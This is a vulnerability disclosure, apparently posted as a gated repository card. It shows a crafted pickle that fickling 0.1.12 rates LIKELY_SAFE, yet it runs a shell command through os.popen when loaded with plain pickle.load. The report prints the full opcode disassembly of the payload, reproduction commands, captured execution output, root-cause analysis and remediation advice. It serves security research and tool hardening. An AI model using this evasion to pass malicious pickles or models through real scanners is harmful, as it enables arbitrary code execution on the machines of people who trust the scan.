You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Fickling scanner bypass #2 β€” runtime-computed STACK_GLOBAL name defeats fickling's static analysis (RCE rated LIKELY_SAFE)

Target: trailofbits/fickling β€” pickle security/analysis tool Version tested: fickling 0.1.12 (latest on PyPI), fresh venv Victim Python: CPython 3.13.12 (system), plain pickle.load (no fickling hooks) Class: Security-scanner detection bypass β†’ arbitrary command execution (RCE) via a pickle the scanner rates safe Severity: High β€” defense-evasion / detection-bypass against a tool whose whole job is to gate untrusted pickles

This is a second, mechanistically distinct bypass from the aliased-os-re-export (random._os.popen) gadget. See "Why this is distinct" below.


Summary

An 81-byte protocol-4 pickle is rated LIKELY_SAFE by fickling 0.1.12 β€” is_likely_safe() returns True, check_safety().severity == LIKELY_SAFE with zero findings, and the CLI fickling --check-safety exits 0 (EXIT_CLEAN). The identical file, opened with the ordinary standard-library pickle.load, executes an attacker-controlled shell command through os.popen.

The bypass works because fickling is a static analyzer of the pickle program, but the dangerous global's name string is computed at unpickle time. The name "os.popen" is never present in the pickle as a STACK_GLOBAL argument β€” it is produced by str("os.popen") at load time and only then handed to STACK_GLOBAL. Fickling's interpreter sees an opaque value where a module/name string should be, emits a benign placeholder import, and rates the file safe. The real CPython unpickler evaluates the str(...) reduce, gets the string "os.popen", and resolves find_class("posixpath", "os.popen") β†’ posixpath.os.popen β†’ os.popen.


What fickling thinks the pickle does (its own decompiled AST)

from builtins import str
_var0 = str('os.popen')
from posixpath import _var0          # <-- opaque placeholder: fickling has no idea this is os.popen
_var1 = _var0('id > /tmp/…')         # <-- treated as a safe stdlib call (name in likely_safe_imports)
_var2 = _var1
_var2.__setstate__({})               # BUILD -> setstate, excluded from the "unused variable" heuristic
result = _var2

Fickling literally reports the import as from posixpath import _var0. It never sees the string "os.popen" as an import name, so its module/name allowlist has nothing to match.

What the real unpickler actually does

str("os.popen")                       -> "os.popen"                 (runtime string)
STACK_GLOBAL "posixpath","os.popen"   -> find_class(...)            -> posixpath.os.popen  == os.popen
REDUCE os.popen("id > /tmp/…")        -> command executes

Root cause

  1. str(...) is a whitelisted call. builtins.str is in SAFE_BUILTINS; from builtins import str is not flagged, and str is added to likely_safe_imports, so OvertlyBadEvals skips the str('os.popen') reduce.
  2. The computed string is opaque to STACK_GLOBAL. In fickling/fickle.py, StackGlobal.run expects the module/name on the interpreter stack to be ast.Constant strings. Here the name is an ast.Name (the str() result), so fickling takes the lenient path (extract_identifier_from_ast_node, prints a "malformed pickle … extracting identifiers to continue analysis" warning) and builds ast.ImportFrom(module="posixpath", names=[alias("_var0")]).
  3. The placeholder import is benign to every check. module="posixpath" is stdlib β†’ NonStandardImports passes; name _var0 has no blocked component β†’ UnsafeImports passes; and because the module is stdlib, _var0 is added to likely_safe_imports, so the subsequent call _var0(cmd) is treated as a safe stdlib call β†’ OvertlyBadEvals/BadCalls pass.
  4. BUILD erases the last residual signal. Without it, _var2 = _var1(...) would be an unused assignment (UnusedVariables β†’ SUSPICIOUS). os.popen returns an os._wrap_close object (has __dict__), so BUILD with an empty state dict succeeds; fickling emits _var2.__setstate__({}), which references the variable in a non-final position, so UnusedVariables reports nothing. Net severity collapses to LIKELY_SAFE.

The tool's warning about "invalid types" for STACK_GLOBAL does not raise the severity, does not set has_invalid_opcode, and does not change the is_likely_safe()/exit-0 verdict β€” the security-relevant output still says safe.


Why this is distinct from the aliased-os-re-export (_os.popen) gadget

Gadget #1 (aliased re-export) Gadget #2 (this finding)
STACK_GLOBAL name static literal "_os.popen" computed at runtime via str("os.popen")
Does fickling see the name? Yes β€” it decompiles _os.popen('…') No β€” it decompiles _var0('…'), name unknown
Is the literal name on fickling's blocklist? No (_os is not os) Yes (os is blocked β€” see negative control)
Root cause allowlist reasons over literal name components; the alias _os is not the literal os analyzer is blind to runtime-computed find_class arguments; static view of the import is a benign placeholder

Gadget #1 evades the allowlist; gadget #2 evades the static analysis itself. They are independent: gadget #2 uses the literally-blocked name os.popen and still passes, because fickling never sees that string.


Proof of Concept

evil_dynamic_name.pkl (81 bytes) disassembly:

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'posixpath'          # stdlib carrier (posixpath imports os)
   13: \x8c SHORT_BINUNICODE 'builtins'
   23: \x8c SHORT_BINUNICODE 'str'
   28: \x93 STACK_GLOBAL                           # builtins.str  (SAFE_BUILTINS)
   29: \x8c SHORT_BINUNICODE 'os.popen'
   39: \x85 TUPLE1
   40: R    REDUCE                                 # str("os.popen") -> runtime string, opaque to fickling
   41: \x93 STACK_GLOBAL                           # find_class("posixpath","os.popen") -> os.popen
   42: \x8c SHORT_BINUNICODE 'id > /tmp/fickling_pwned_dyn.txt'
   76: \x85 TUPLE1
   77: R    REDUCE                                 # os.popen(cmd) -> command executes
   78: }    EMPTY_DICT
   79: b    BUILD                                  # erase UnusedVariables signal
   80: .    STOP

Reproduce:

pip install fickling==0.1.12
python build_poc.py                       # writes evil_dynamic_name.pkl
fickling --check-safety evil_dynamic_name.pkl ; echo "exit=$?"   # -> exit=0 (EXIT_CLEAN)
python -c "import fickling; print(fickling.is_likely_safe('evil_dynamic_name.pkl'))"  # -> True
rm -f /tmp/fickling_pwned_dyn.txt
python victim.py                          # plain pickle.load -> command runs
cat /tmp/fickling_pwned_dyn.txt           # proof: `id` output

Captured evidence (verbatim, fickling 0.1.12 / CPython 3.13.12)

severity        : LIKELY_SAFE
is_likely_safe? : True
findings        : ''            (zero findings)
has_invalid_opcode: False
fickling.is_likely_safe(): True

CLI: fickling --check-safety evil_dynamic_name.pkl
CLI EXIT = 0   (0 = EXIT_CLEAN / safe)

REAL loader: system python 3.13.12, plain pickle.load
unpickle returned: _wrap_close
--- sentinel /tmp/fickling_pwned_dyn.txt ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),...      <-- os.popen executed `id`

Negative control (isolates the mechanism)

The identical structure with a static literal name posixpath / os.popen (no str() indirection) is correctly caught:

severity: LIKELY_OVERTLY_MALICIOUS
findings : Call to `os.popen(...)` can execute arbitrary code and is inherently unsafe
           `from posixpath import os.popen` is suspicious and indicative of an overtly malicious pickle file

So the only thing that flips the verdict from OVERTLY_MALICIOUS to LIKELY_SAFE is moving the name from a static literal to a runtime-computed str(...) β€” proving the bypass is the analyzer's blindness to computed STACK_GLOBAL arguments, not the choice of module/callable.


Impact

Fickling is widely used as a pre-load gate (directly and inside model-scanning pipelines) deciding whether an untrusted .pkl/model is safe. A victim who runs fickling --check-safety or fickling.is_likely_safe(...) before pickle.load gets a clean/safe verdict for a file that runs arbitrary OS commands on load β€” a full detection bypass yielding RCE. The technique is general: any dangerous global can be reached by pairing a clean stdlib-module literal (as the STACK_GLOBAL module) with a runtime-computed name string via a whitelisted builtin (str, and others), so it is not specific to posixpath/os.popen.

Suggested remediation

  • Treat any STACK_GLOBAL whose module or name is not a compile-time-constant string as at least SUSPICIOUS/unsafe, rather than extracting a placeholder identifier and continuing as if the import were benign. A runtime-computed global target is the whole point of an evasion.
  • Do not add a name to likely_safe_imports (nor let NonStandardImports/UnsafeImports pass) for an ImportFrom synthesized from a non-string/opaque STACK_GLOBAL argument.
  • Consider constant-folding known-safe builtins (str, etc.) so a computed literal like str("os.popen") is resolved and then re-checked against the blocklist β€” or, more simply, refuse to constant-fold and flag the indirection.

Dedup / prior art

No public CVE/advisory describes this runtime-computed STACK_GLOBAL name evasion against fickling. It is distinct from the aliased-os-re-export gadget (which uses a static, non-blocklisted name) and from generic "pickle can import anything" notes: here fickling specifically rates the file LIKELY_SAFE with zero findings, and a negative control shows the same callable is caught when named statically.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support